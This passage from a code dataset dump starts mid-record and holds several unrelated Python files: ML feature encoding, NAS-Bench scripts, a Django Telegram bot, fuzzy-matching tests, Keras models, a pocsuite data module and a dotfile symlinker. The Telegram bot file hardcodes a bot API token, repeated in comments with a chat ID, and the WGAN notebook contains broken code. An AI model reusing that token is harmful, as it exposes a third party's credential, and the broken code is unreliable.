item\n\n\n","sub_path":"spider/u17/u17/spiders/manhua.py","file_name":"manhua.py","file_ext":"py","file_size_in_byte":2017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"452093142","text":"import pandas as pd\nimport numpy as np\nfrom collections import Counter\nimport pickle\n\ndata_path = './train_sample.csv'\ndataset = pd.read_csv(data_path)#读取训练集数据\ndataset['click'] = dataset['click'].map(lambda x: -1 if x == 0 else x)#将训练数据中的点击与否进行映射,0变为-1\nclick = set()\nC1 = set()\nC16 = set()\nC18 = set()\n\n# build category data\n# for data in dataset:\ndata = dataset.copy() #复制训练集\n\nclick_v = set(data['click'].values) #以列表返回中所有的值,删除重复的数据,变为一个集合{-1,1}\nclick = click | click_v #并集\n\nC1_v = set(data['C1'].values)\nC1 = C1 | C1_v #{1008, 1010, 1001, 1002, 1005, 1007}\n\nC16_v = set(data['C16'].values)\nC16 = C16 | C16_v #{480, 50, 250, 36, 20, 90}\n\nC18_v = set(data['C18'].values)\nC18 = C18 | C18_v #{0, 1, 2, 3}\n\n#类别数据的fields\ncategory_encoding_fields = ['C1', 'C18', 'C16']\n\nfeature2field = {}\nfield_index = 0\nind = 0\nfor field in category_encoding_fields:\n field_dict = {}\n field_sets = eval(field)#返回表达式的值\n\n for value in list(field_sets):\n\n field_dict[value] = ind #对于不同的值赋予不同的索引\n feature2field[ind] = field_index#在字典中给索引不同的值,从0开始\n ind += 1\n field_index += 1\n print(field_dict)\n print(feature2field)\n with open('./' + field + '.pkl', 'wb') as f:\n pickle.dump(field_dict, f)\n\n\n#至此,C1.pkl数据为{1008: 0, 1010: 1, 1001: 2, 1002: 3, 1005: 4, 1007: 5},1008在feature2field对应的键为0.。。\n # C18.pkl数据为{0: 6, 1: 7, 2: 8, 3: 9}\n # C16.pkl数据为{480: 10, 50: 11, 20: 14, 36: 13, 250: 12, 90: 15}\n # click.pkl数据为{1: 16, -1: 17}\n #以上四个文件为不同特征值对应的索引值\n # feature2field{0: 0, 1: 0, 2: 0, 3: 0, 4: 0, 5: 0, 6: 1, 7: 1, 8: 1, 9: 1, 10: 2, 11: 2, 12: 2, 13: 2, 14: 2, 15: 2}\n #不同索引值对应的field\n\nclick_dict = {}\nclick_sets = click #{1,-1}\nfor value in list(click_sets):\n click_dict[value] = ind\n ind += 1\n\n#click_dict={1: 16, -1: 17}\nwith open('./' + 'click' + '.pkl', 'wb') as f:\n pickle.dump(click_dict, f)\n\nwith open('./feature2field.pkl', 'wb') as f:\n pickle.dump(feature2field, f)\n\n\n# 将所有的特征转换为one-hot类型\ndef transfer_data(sample, fields_dict, array_length):\n array = np.zeros([array_length])\n for field in fields_dict:\n # get index of array\n if field == 'click':\n field_value = sample[field]\n ind = fields_dict[field][field_value]#得到索引\n if ind == (array_length - 1):\n array[ind] = -1\n else:\n array[ind + 1] = 1\n else:\n field_value = sample[field]\n ind = fields_dict[field][field_value]\n array[ind] = 1\n return array\n\n\ndef get_batch(x, batch_size, index):\n start = index * batch_size\n end = (index + 1) * batch_size\n end = end if end < x.shape[0] else x.shape[0]\n return x.iloc[start:end, :] #选取x中的start到end行\n","sub_path":"FFM/FFM1/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":3037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"278987508","text":"from nasbench import api\nfrom random import randint\nimport json\nimport numpy as np\nimport os\nfrom collections import OrderedDict\n\n# Replace this string with the path to the downloaded nasbench.tfrecord before\n# executing.\nNASBENCH_TFRECORD = 'data/nasbench_only108.tfrecord'\n\nINPUT = 'input'\nOUTPUT = 'output'\nCONV1X1 = 'conv1x1-bn-relu'\nCONV3X3 = 'conv3x3-bn-relu'\nMAXPOOL3X3 = 'maxpool3x3'\n\ndef gen_data_point(nasbench):\n\n i = 0\n epoch = 108\n\n padding = [0, 0, 0, 0, 0, 0, 0]\n best_val_acc = 0\n best_test_acc = 0\n\n tf_data = {}\n for unique_hash in nasbench.hash_iterator():\n fixed_metrics, computed_metrics = nasbench.get_metrics_from_hash(unique_hash)\n ops_array = transform_operations(fixed_metrics['module_operations'])\n ops_list = convert_tf_format(ops_array)\n adj_array = fixed_metrics['module_adjacency'].tolist()\n print('\\nIterating over {} / {} unique models in the dataset.'.format(i, 423623))\n test_acc_avg = 0.0\n val_acc_avg = 0.0\n training_time = 0.0\n for repeat_index in range(len(computed_metrics[epoch])):\n assert len(computed_metrics[epoch])==3, 'len(computed_metrics[epoch]) should be 3'\n data_point = computed_metrics[epoch][repeat_index]\n val_acc_avg += data_point['final_validation_accuracy']\n test_acc_avg += data_point['final_test_accuracy']\n training_time += data_point['final_training_time']\n val_acc_avg = val_acc_avg/3.0\n test_acc_avg = test_acc_avg/3.0\n tf_data[unique_hash] = (adj_array, ops_list, val_acc_avg)\n training_time_avg = training_time/3.0\n adj_array = fixed_metrics['module_adjacency'].tolist()\n params = fixed_metrics['trainable_parameters']\n print('parameters size: {}'.format(params))\n model_spec = api.ModelSpec(fixed_metrics['module_adjacency'], fixed_metrics['module_operations'])\n data = nasbench.query(model_spec, epochs=108)\n print('api training time: {}'.format(data['training_time']))\n print('real training time: {}'.format(training_time_avg))\n\n if len(adj_array) <= 6:\n for row in range(len(adj_array)):\n for _ in range(7-len(adj_array)):\n adj_array[row].append(0)\n for _ in range(7-len(adj_array)):\n adj_array.append(padding)\n\n if val_acc_avg > best_val_acc:\n best_val_acc = val_acc_avg\n\n if test_acc_avg > best_test_acc:\n best_test_acc = test_acc_avg\n\n print('best val. acc: {:.4f}, best test acc {:.4f}'.format(best_val_acc, best_test_acc))\n\n i += 1\n return tf_data\n\ndef transform_operations(ops):\n transform_dict = {'input':0, 'conv1x1-bn-relu':1, 'conv3x3-bn-relu':2, 'maxpool3x3':3, 'output':4}\n ops_array = np.zeros([len(ops),5], dtype='int8')\n for row, op in enumerate(ops):\n col = transform_dict[op]\n ops_array[row, col] = 1\n return ops_array\n\ndef convert_tf_format(ops_array):\n arr = ops_array[1:len(ops_array)-1]\n arr = arr[:, 1:-1]\n arr = np.argmax(arr, axis=-1)\n arr = np.insert(arr, 0, -1)\n arr = np.insert(arr, len(arr), -2)\n return arr.tolist()\n\ndef gen_json_file():\n nasbench = api.NASBench(NASBENCH_TFRECORD)\n tf_data = gen_data_point(nasbench)\n return tf_data\n\n\n\n\n\nif __name__ == '__main__':\n nasbench = api.NASBench(NASBENCH_TFRECORD)\n optimizer = 'bananas' # re, ls, bananas\n path = '~/nasbench311/NASLib/nas101_0/cifar10/bananas/' + optimizer\n seed_dirs = list(os.listdir(path))\n seed_dirs = sorted(seed_dirs, key=lambda x: int(x))\n topk = 10\n shards = {}\n for seed_dir in seed_dirs:\n f_path = os.path.join(path, seed_dir)\n with open(os.path.join(f_path, 'errors.json')) as f:\n data = json.load(f)[1]\n ind = np.argsort(data['latest_acc'])[-topk:]\n for i in ind:\n model_spec = api.ModelSpec(data['latest_arch'][i][0], data['latest_arch'][i][1])\n hash = nasbench.get_hash(model_spec)\n fixed_metrics, computed_metrics = nasbench.get_metrics_from_hash(hash)\n val_acc_avg = 0.0\n for repeat_index in range(len(computed_metrics[108])):\n assert len(computed_metrics[108]) == 3, 'len(computed_metrics[epoch]) should be 3'\n data_point = computed_metrics[108][repeat_index]\n val_acc_avg += data_point['final_validation_accuracy']\n val_acc_avg = val_acc_avg / 3.0\n print(\"actual: {}, predicted: {}\".format(val_acc_avg, data['latest_acc'][i]))\n if hash not in shards:\n shards[hash] = (data['latest_arch'][i][0], convert_tf_format(transform_operations(data['latest_arch'][i][1])))\n print(len(shards))\n with open('data/shard_best_{}.json'.format(optimizer), 'w') as outfile:\n json.dump(shards, outfile)\n\n\n\n","sub_path":"gen_best_json.py","file_name":"gen_best_json.py","file_ext":"py","file_size_in_byte":4947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"86749257","text":"# Author: Daniel Dean dpd5518@psu.edu\n# Collaborator: Xiang Liu xfl5249@psu.edu\n# Collaborator: Yamin Zhang ykg5402@psu.edu\n# Collaborator: Anna Gillard amg73017@psu.edu\n# Section: 2\n# Breakout: 2\n\ndef sum_n(n):\n if n <= 1:\n return(n)\n else:\n return(n + sum_n(n - 1))\n\ndef print_n(s,n):\n if n >= 1:\n print(s)\n return print_n(s,n-1)\n\ndef run():\n i = int(input('Enter an int: '))\n print(f\"sum is {sum_n(i)}.\")\n print_n(input(\"Enter a string: \"),i)\n\nif __name__ == '__main__':\n run()\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"567601733","text":"# -*- coding: utf-8 -*-\nfrom django.core.management.base import BaseCommand\nimport requests\nimport telebot\nfrom bot.models import Subscriber\n\nclass Command(BaseCommand):\n help = 'Test'\n\n def handle(self, *args, **options):\n bot_id = '1308591822:AAFghKn_dOJaME7P82ohf6TjfHOLP72Xo_A'\n self.bot_starter(bot_id)\n\n #bot.send_message(chat_id, \"This message was generated by Telebot\")\n def start_bot(self, bot_id):\n print('Start bot')\n bot = telebot.TeleBot(bot_id)\n @bot.message_handler(commands=['start', 'help'])\n def send_welcome(message):\n subscriber = Subscriber.objects.filter(telegram_id=int(message.chat.id))\n if len(subscriber) > 0:\n bot.send_message(message.chat.id, \"Welcome back\"+message.from_user.first_name)\n else:\n Subscriber.objects.create(\n first_name = message.from_user.first_name,\n last_name=message.from_user.last_name,\n username=message.from_user.username,\n telegram_id=message.chat.id\n )\n bot.send_message(message.chat.id, \"Hello\" + message.from_user.first_name)\n bot.polling(timeout=1)\n\n def bot_starter(self, bot_id):\n try:\n self.start_bot(bot_id)\n except BaseException as e:\n print(e)\n self.bot_starter(bot_id)\n\n#\n# Telegram-API-key: 1308591822:AAFghKn_dOJaME7P82ohf6TjfHOLP72Xo_A\n# https://api.telegram.org/bot1308591822:AAFghKn_dOJaME7P82ohf6TjfHOLP72Xo_A/getUpdates\n# chat ID: 1563243177\n\n# chat_id = '1563243177'\n # message = 'Hi guys!'\n # url = 'https://api.telegram.org/bot'+bot_id+'/sendMessage?chat_id='+chat_id+'&text='+message\n # requests.get(url)\n # print('message was sent')","sub_path":"bot/management/commands/startbot.py","file_name":"startbot.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"620226787","text":"from itertools import product\nfrom functools import partial\nfrom string import ascii_letters, digits, punctuation\n\nfrom hypothesis import given, assume, settings\nimport hypothesis.strategies as st\nimport pytest\n\nfrom rapidfuzz import fuzz, process, utils\nimport random\n\n\nHYPOTHESIS_ALPHABET = ascii_letters + digits + punctuation\n\nSCORERS = [\n fuzz.ratio,\n fuzz.partial_ratio,\n fuzz.token_set_ratio,\n fuzz.token_sort_ratio,\n fuzz.token_ratio,\n fuzz.partial_token_set_ratio,\n fuzz.partial_token_sort_ratio,\n fuzz.partial_token_ratio,\n fuzz.WRatio,\n fuzz.QRatio\n]\n\nFULL_SCORERS = [\n fuzz.ratio,\n fuzz.WRatio,\n fuzz.QRatio\n]\n\nPROCESSORS = [\n lambda x: x,\n utils.default_process\n]\n\n@given(sentence=st.text())\n@settings(max_examples=200)\ndef test_multiple_processor_runs(sentence):\n \"\"\"\n Test that running a preprocessor on a sentence\n a second time does not change the result\n \"\"\"\n assert utils.default_process(sentence) \\\n == utils.default_process(utils.default_process(sentence))\n\n'''\n\ndef full_scorers_processors():\n \"\"\"\n Generate a list of (scorer, processor) pairs for testing for scorers that use the full string only\n :return: [(scorer, processor), ...]\n \"\"\"\n scorers = [fuzz.ratio]\n processors = [lambda x: x,\n partial(utils.full_process, force_ascii=False),\n partial(utils.full_process, force_ascii=True)]\n splist = list(product(scorers, processors))\n splist.extend(\n [(fuzz.WRatio, partial(utils.full_process, force_ascii=True)),\n (fuzz.QRatio, partial(utils.full_process, force_ascii=True)),\n (fuzz.UWRatio, partial(utils.full_process, force_ascii=False)),\n (fuzz.UQRatio, partial(utils.full_process, force_ascii=False))]\n )\n\n return splist\n\n\n@pytest.mark.parametrize('scorer,processor',\n scorers_processors())\n@given(data=st.data())\n@settings(max_examples=20, deadline=5000)\ndef test_identical_strings_extracted(scorer, processor, data):\n \"\"\"\n Test that identical strings will always return a perfect match.\n :param scorer:\n :param processor:\n :param data:\n :return:\n \"\"\"\n # Draw a list of random strings\n strings = data.draw(\n st.lists(\n st.text(min_size=10, max_size=100, alphabet=HYPOTHESIS_ALPHABET),\n min_size=1,\n max_size=10\n )\n )\n # Draw a random integer for the index in that list\n choiceidx = data.draw(st.integers(min_value=0, max_value=(len(strings) - 1)))\n\n # Extract our choice from the list\n choice = strings[choiceidx]\n\n # Check process doesn't make our choice the empty string\n assume(processor(choice) != '')\n\n # Extract all perfect matches\n result = process.extractBests(choice,\n strings,\n scorer=scorer,\n processor=processor,\n score_cutoff=100,\n limit=None)\n\n # Check we get a result\n assert result != []\n\n # Check the original is in the list\n assert (choice, 100) in result\n'''\n\n@pytest.mark.parametrize('scorer,processor', list(product(FULL_SCORERS, PROCESSORS)))\n@given(choices=st.lists(st.text(), min_size=1))\n@settings(max_examples=20, deadline=5000)\ndef test_only_identical_strings_extracted(scorer, processor, choices):\n \"\"\"\n Test that only identical (post processing) strings score 100 on the test.\n If two strings are not identical then using full comparison methods they should\n not be a perfect (100) match.\n :param scorer:\n :param processor:\n :param data:\n :return:\n \"\"\"\n query = random.choice(choices)\n assume(processor(query) != '')\n\n matches = process.extract(query, choices,\n scorer=scorer, processor=processor,\n score_cutoff=100, limit=None)\n\n assert matches != []\n\n for match in matches:\n assert processor(query) == processor(match[0])","sub_path":"tests/test_hypothesis.py","file_name":"test_hypothesis.py","file_ext":"py","file_size_in_byte":4007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"263562555","text":"#!/usr/bin/env python\n\n'''\nThis script shows you how to:\n1. Load the features for each segment;\n2. Load the labels for each segment;\n3. Perform word level feature alignment;\n3. Use Keras to implement a simple LSTM on top of the data\n'''\n\nfrom __future__ import print_function\nimport numpy as np\nimport pandas as pd\nfrom collections import defaultdict\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import LSTM\nfrom keras.layers import Merge\nfrom keras.layers import Dropout\nfrom keras.layers.embeddings import Embedding\nfrom keras.preprocessing import sequence\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint\nfrom theano.tensor.shared_randomstreams import RandomStreams\nfrom keras.models import Model\nfrom keras.layers import Input\nfrom keras.layers import Reshape\nfrom keras import optimizers\nfrom keras.regularizers import l2\nfrom keras.regularizers import l1\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.constraints import nonneg\nfrom sklearn.metrics import mean_absolute_error\nfrom keras.optimizers import SGD\n\nfrom mmdata import Dataloader, Dataset\nfrom sklearn.svm import SVR,SVC\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import precision_recall_fscore_support\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import mean_absolute_error\nfrom sklearn.multiclass import OneVsRestClassifier\nimport scipy\nimport scipy.stats\n\nimport sys\n\n\ntarget_names = ['strg_neg', 'weak_neg', 'neutral', 'weak_pos', 'strg_pos']\n\ndef pad(data, max_len):\n \"\"\"A funtion for padding/truncating sequence data to a given lenght\"\"\"\n # recall that data at each time step is a tuple (start_time, end_time, feature_vector), we only take the vector\n data = np.array([feature[2] for feature in data])\n n_rows = data.shape[0]\n dim = data.shape[1]\n if max_len >= n_rows:\n diff = max_len - n_rows\n padding = np.zeros((diff, dim))\n padded = np.concatenate((padding, data))\n return padded\n else:\n return np.concatenate(data[-max_len:])\n\ndef multiclass(data):\n new_data = []\n for item in data:\n if item <= -1.8:\n new_data.append(0)\n elif item <= -0.6:\n new_data.append(1)\n elif item <= 0.6:\n new_data.append(2)\n elif item <= 1.8:\n new_data.append(3)\n elif item <= 3.0:\n new_data.append(4)\n return new_data\n\n\n\nif __name__ == \"__main__\":\n # Download the data if not present\n mosi = Dataloader('http://sorena.multicomp.cs.cmu.edu/downloads/MOSI')\n covarep = mosi.covarep()\n sentiments = mosi.sentiments() # sentiment labels, real-valued. for this tutorial we'll binarize them\n train_ids = mosi.train() # set of video ids in the training set\n valid_ids = mosi.valid() # set of video ids in the valid set\n test_ids = mosi.test() # set of video ids in the test set\n\n\n # sort through all the video ID, segment ID pairs\n train_set_ids = []\n for vid in train_ids:\n for sid in covarep['covarep'][vid].keys():\n train_set_ids.append((vid, sid))\n\n valid_set_ids = []\n for vid in valid_ids:\n for sid in covarep['covarep'][vid].keys():\n valid_set_ids.append((vid, sid))\n\n test_set_ids = []\n for vid in test_ids:\n for sid in covarep['covarep'][vid].keys():\n test_set_ids.append((vid, sid))\n\n\n # partition the training, valid and test set. all sequences will be padded/truncated to 15 steps\n # data will have shape (dataset_size, max_len, feature_dim)\n max_len = 15\n\n train_set_audio = np.stack([pad(covarep['covarep'][vid][sid], max_len) for (vid, sid) in train_set_ids if covarep['covarep'][vid][sid]], axis=0)\n valid_set_audio = np.stack([pad(covarep['covarep'][vid][sid], max_len) for (vid, sid) in valid_set_ids if covarep['covarep'][vid][sid]], axis=0)\n test_set_audio = np.stack([pad(covarep['covarep'][vid][sid], max_len) for (vid, sid) in test_set_ids if covarep['covarep'][vid][sid]], axis=0)\n\n # binarize the sentiment scores for binary classification task\n y_train_bin = np.array([sentiments[vid][sid] for (vid, sid) in train_set_ids]) > 0\n y_valid_bin = np.array([sentiments[vid][sid] for (vid, sid) in valid_set_ids]) > 0\n y_test_bin = np.array([sentiments[vid][sid] for (vid, sid) in test_set_ids]) > 0\n\n # for regression\n y_train_reg = np.array([sentiments[vid][sid] for (vid, sid) in train_set_ids])\n y_valid_reg = np.array([sentiments[vid][sid] for (vid, sid) in valid_set_ids])\n y_test_reg = np.array([sentiments[vid][sid] for (vid, sid) in test_set_ids])\n\n # for multiclass\n y_train_mc = multiclass(np.array([sentiments[vid][sid] for (vid, sid) in train_set_ids]))\n y_valid_mc = multiclass(np.array([sentiments[vid][sid] for (vid, sid) in valid_set_ids]))\n y_test_mc = multiclass(np.array([sentiments[vid][sid] for (vid, sid) in test_set_ids]))\n\n\n # normalize covarep and facet features, remove possible NaN values\n# audio_max = np.max(np.max(np.abs(train_set_audio), axis=0), axis=0)\n# train_set_audio = train_set_audio / audio_max\n# valid_set_audio = valid_set_audio / audio_max\n# test_set_audio = test_set_audio / audio_max\n\n train_set_audio[train_set_audio != train_set_audio] = 0\n valid_set_audio[valid_set_audio != valid_set_audio] = 0\n test_set_audio[test_set_audio != test_set_audio] = 0\n\n x_train = train_set_audio\n x_valid = valid_set_audio\n x_test = test_set_audio\n\n\n end_to_end = True\n f_Covarep_num = x_train.shape[1]\n Covarep_model = Sequential()\n Covarep_model.add(BatchNormalization(input_shape=(f_Covarep_num,), name = 'covarep_layer_0'))\n Covarep_model.add(Dropout(0.2, name = 'covarep_layer_1'))\n Covarep_model.add(Dense(32, activation='relu', W_regularizer=l2(0.0), name = 'covarep_layer_2', trainable=end_to_end))\n Covarep_model.add(Dense(32, activation='relu', W_regularizer=l2(0.0), name = 'covarep_layer_3', trainable=end_to_end))\n Covarep_model.add(Dense(32, activation='relu', W_regularizer=l2(0.0), name = 'covarep_layer_4', trainable=end_to_end))\n Covarep_model.add(Dense(1, name = 'covarep_layer_5'))\n\n\n train_patience = 5\n callbacks = [\n EarlyStopping(monitor='val_loss', patience=train_patience, verbose=0),\n ]\n momentum = 0.9\n lr = 0.01\n train_epoch = 5\n loss = \"mae\"\n opt = \"adam\"\n sgd = SGD(lr=lr, decay=1e-6, momentum=momentum, nesterov=True)\n adam = optimizers.Adamax(lr=lr, beta_1=0.9, beta_2=0.999, epsilon=1e-08) #decay=0.999)\n optimizer = {'sgd': sgd, 'adam':adam}\n Covarep_model.compile(loss=loss, optimizer=optimizer[opt])\n Covarep_model.fit(x_train, y_train_reg, validation_data=(x_valid,y_valid_reg), nb_epoch=train_epoch, batch_size=128, callbacks=callbacks)\n predictions = Covarep_model.predict(x_test, verbose=0)\n predictions = predictions.reshape((len(y_test_reg),))\n y_test = y_test_reg.reshape((len(y_test_reg),))\n mae = np.mean(np.absolute(predictions-y_test))\n print(\"mae: \"+str(mae))\n print(\"corr: \"+str(round(np.corrcoef(predictions,y_test)[0][1],5)))\n print(\"mult_acc: \"+str(round(sum(np.round(predictions)==np.round(y_test))/float(len(y_test)),5)))\n true_label = (y_test >= 0)\n predicted_label = (predictions >= 0)\n print(\"Confusion Matrix :\")\n print(confusion_matrix(true_label, predicted_label))\n print(\"Classification Report :\")\n print(classification_report(true_label, predicted_label, digits=5))\n print(\"Accuracy \", accuracy_score(true_label, predicted_label))\n\n\n\n\n# # create and train SVM for binary - Classification\n# clf = SVC(kernel=\"poly\")\n# trained_model = clf.fit(x_train, y_train_bin)\n# predictions = clf.predict(x_valid)\n# acc = accuracy_score(y_valid_bin, predictions)\n# print(\"Binary\")\n# print(classification_report(y_valid_bin, predictions, target_names=target_names))\n# print(\"accuracy: \"+str(acc))\n\n# # create and train SVM for 5-class - Classification\n# clf = OneVsRestClassifier(SVC(kernel=\"poly\"))\n# trained_model = clf.fit(x_train, y_train_mc)\n# predictions = clf.predict(x_valid)\n# acc = accuracy_score(y_valid_mc, predictions)\n# print(\"5-class\")\n# print(classification_report(y_valid_mc, predictions, target_names=target_names, digits=5))\n# print(\"accuracy: \"+str(acc))\n\n# # create and train and SVM for continous - Regression\n# clf = SVR(C=1.0, epsilon=0.2)\n# trained_model = clf.fit(x_train, y_train_reg) \n# predictions = clf.predict(x_valid)\n# mae = mean_absolute_error(y_valid_reg, predictions) \n# pr = scipy.stats.pearsonr(y_valid_reg,predictions)\n# print(\"Regression\")\n# print(\"mae: \" + str(mae))\n# print(\"pr: \" + str(pr))\n\n","sub_path":"speech/speech_tfn.py","file_name":"speech_tfn.py","file_ext":"py","file_size_in_byte":8826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"233918019","text":"\n# coding: utf-8\n\n# In[191]:\n\nfrom keras.layers.convolutional import Conv1D, Conv2D\nfrom keras.layers.advanced_activations import LeakyReLU\nfrom keras.layers.core import Dense, Flatten, Reshape, Activation, Lambda, Permute\nfrom keras.layers import Input\nfrom keras.layers.merge import add\nfrom keras.initializers import RandomNormal\nfrom keras import regularizers\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.models import Sequential, Model\nfrom keras.utils import plot_model\nfrom IPython.core.display import Image, display\nimport numpy as np\n\n\n# In[243]:\n\nDIM = 200\nSEQ_LEN = 32\nRANDOM_DIM = 128\nVOCAB_SIZE = 128\n\n\n# In[244]:\n\ndef ResBlock(name):\n inputs = Input(shape=(SEQ_LEN, DIM))\n block = Sequential(name=name+'_res')\n block.add(Activation('relu', input_shape=(SEQ_LEN, DIM)))\n block.add(Conv1D(DIM, 5, padding='same', name=name+\"_cov1\", input_shape=(SEQ_LEN, DIM)))\n block.add(Activation('relu'))\n block.add(Conv1D(DIM, 5, padding='same', name=name+\"_cov2\", input_shape=(SEQ_LEN, DIM)))\n merged = Lambda(lambda q: q[0]*0.3 + q[1])([block(inputs), inputs]) \n block_model = Model(inputs=inputs, outputs=merged)\n return block_model\n\n\n# In[245]:\n\ndef Generator():\n generator = Sequential()\n generator.add(Dense(SEQ_LEN*DIM, input_shape=(RANDOM_DIM,)))\n generator.add(Reshape((SEQ_LEN, DIM)))\n for i in range(5):\n generator.add(ResBlock('Generator.{0:d}'.format(i)))\n generator.add(Conv1D(VOCAB_SIZE, 5, padding='same'))\n generator.add(Activation('softmax'))\n return generator\n\n\n# In[262]:\n\ndef Discriminator():\n discriminator = Sequential()\n discriminator.add(Conv1D(DIM, 5, padding='same', input_shape=(SEQ_LEN, VOCAB_SIZE)))\n for i in range(5):\n discriminator.add(ResBlock('Generator.{0:d}'.format(i)))\n discriminator.add(Reshape((SEQ_LEN*DIM,))) \n discriminator.add(Dense(1, activation='softmax'))\n return discriminator\n\n\n# In[259]:\n\ng = Generator()\nprint(g.output_shape)\ng.summary()\n\n\n# In[263]:\n\nd = Discriminator()\nprint(d.output_shape)\nd.summary()\n\n\n# In[ ]:\n\n\n\n\n# In[167]:\n\nt = ResBlock('test', 100)\n\n\n# In[168]:\n\nt.summary()\n\n\n# In[169]:\n\npred = t.predict(np.ones((100, SEQ_LEN, DIM)))\n\n\n# In[114]:\n\npred[0]\n\n\n# In[49]:\n\nplot_model(t, to_file='model.png')\n\n\n# In[53]:\n\ndisplay(Image('model.png', width=100, unconfined=True))\n\n\n# In[ ]:\n\n\n\n\n# In[ ]:\n\nclass Discriminator(object):\n def __init__(self):\n self.x_dim = 784\n self.name = 'mnist/dcgan/discriminator'\n self.initializer = RandomNormal(mean=0.0, stddev=0.02, seed=None)\n self.regularizer = regularizers.l2(2.5e-5)\n\n def __call__(self):\n model = Sequential()\n model.add(Reshape((28, 28, 1), input_shape=(784,)))\n # Convolution Layer 1\n model.add(Conv2D(64, kernel_size=(4, 4), strides=(2, 2), kernel_initializer=self.initializer))\n model.add(LeakyReLU())\n\n # Convolution Layer 2\n model.add(Conv2D(128, kernel_size=(4, 4), strides=(2, 2), kernel_initializer=self.initializer))\n model.add(LeakyReLU())\n\n # Batch Normalization\n model.add(BatchNormalization())\n\n # Flatten the input\n model.add(Flatten())\n\n # Dense Layer\n model.add(Dense(1024, kernel_initializer=self.initializer))\n model.add(LeakyReLU())\n\n # Batch Normalization\n model.add(BatchNormalization())\n\n # To the output that has two classes\n model.add(Dense(2, activation='softmax'))\n\nreturn model\n\n\n# In[ ]:\n\n\n\n","sub_path":"Improved+WGAN.py","file_name":"Improved+WGAN.py","file_ext":"py","file_size_in_byte":3536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"573194215","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/hysia/Code/Pocsuite/pocsuite/lib/core/data.py\n# Compiled at: 2018-11-28 03:20:09\n\"\"\"\nCopyright (c) 2014-2016 pocsuite developers (https://seebug.org)\nSee the file 'docs/COPYING' for copying permission\n\"\"\"\nfrom pocsuite.lib.core.datatype import AttribDict\nfrom pocsuite.lib.core.log import LOGGER\nfrom pocsuite.lib.core.defaults import defaults\nlogger = LOGGER\nconf = AttribDict()\nkb = AttribDict()\ncmdLineOptions = AttribDict()\nregisteredPocs = {}\npaths = AttribDict()\ndefaults = AttribDict(defaults)\npocJson = AttribDict()\nresultJson = AttribDict()\nsavedReq = AttribDict()","sub_path":"pycfiles/pocsuite-2.0.8.tar/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"439430738","text":"#! /usr/bin/env python\n\"\"\"\nThe purpose of this script is to update dot files somewhere. It works in the\nfollowing way. Two locations are set\n\ndothome : ($HOME)\n absolute path to the set the dotfiles\n\ndotarchive : ($HOME/.dotarchive)\n absolute path to the dot files (usually some git archive)\n\nThen symlinks are made from dothome to dotarchive. Simple as that.\n\"\"\"\nimport os\nimport shutil\n\n__version__ = '0.2.2'\n\n\ndef vprint(string, verbose):\n if verbose:\n print('\\t[donut] %s' % string)\n\n\ndef make_symlinks(dothome, dotarchive, dotfiles, verbose=False, force=False):\n \"\"\"\n 1. if needed, create dothome/.dotfiles-original\n 2. for each dotfile:\n a if forced, unsymlink\n b check for file or directory (not a symlink)\n c if not in the backup, move to the backup\n d create a symbolic link to dotarchive\n \"\"\"\n\n # 1\n dotbackup = os.path.join(dothome, '.dotfiles-original')\n if not os.path.isdir(dotbackup): # makes this python 2 compliant\n vprint('.dotfiles-original does not exist...making', verbose)\n try:\n os.makedirs(dotbackup)\n except:\n raise IOError('Problem making %s' % dotbackup)\n else:\n vprint('.dotfiles-original exists', verbose)\n\n # 2\n for dotf in dotfiles:\n\n dotfloc = os.path.join(dothome, '.' + dotf)\n dotfbloc = os.path.join(dotbackup, dotf)\n dotfaloc = os.path.join(dotarchive, dotf)\n\n # 2a\n if os.path.islink(dotfloc) and force:\n vprint('unlinking %s' % dotf, verbose)\n os.unlink(dotfloc)\n\n # 2b\n if os.path.islink(dotfloc):\n vprint('%s already linked' % dotf, verbose)\n pass\n elif os.path.isfile(dotfloc) or os.path.isdir(dotfloc):\n # 2c\n vprint('%s found in home' % dotf, verbose)\n if os.path.isfile(dotfbloc) or os.path.isdir(dotfbloc):\n raise ValueError('Found a file (%s) that is already backed up'\n % dotf)\n else:\n shutil.move(dotfloc, dotfbloc)\n vprint('%s moved to backup' % dotf, verbose)\n\n # 2d\n if not os.path.islink(dotfloc):\n vprint('%s not symlinked' % dotf, verbose)\n if not (os.path.isfile(dotfaloc) or os.path.isdir(dotfaloc)):\n vprint('File %s does not exist' % dotfaloc,\n verbose)\n else:\n try:\n os.symlink(dotfaloc, dotfloc)\n vprint('%s is now symlinked' % dotf, verbose)\n except:\n raise IOError('Could not symlink %s' % dotfaloc)\n\n\ndef get_dotfiles_list(dotarchive, verbose=False):\n \"\"\"\n Attempt to find a list of files in setup.cfg\n\n If not, just grab the files in dotarchive\n \"\"\"\n cfg_file = os.path.join(dotarchive, 'setup.cfg')\n dotfiles = []\n\n if os.path.isfile(cfg_file):\n vprint('Found setup.cfg', verbose)\n try:\n with 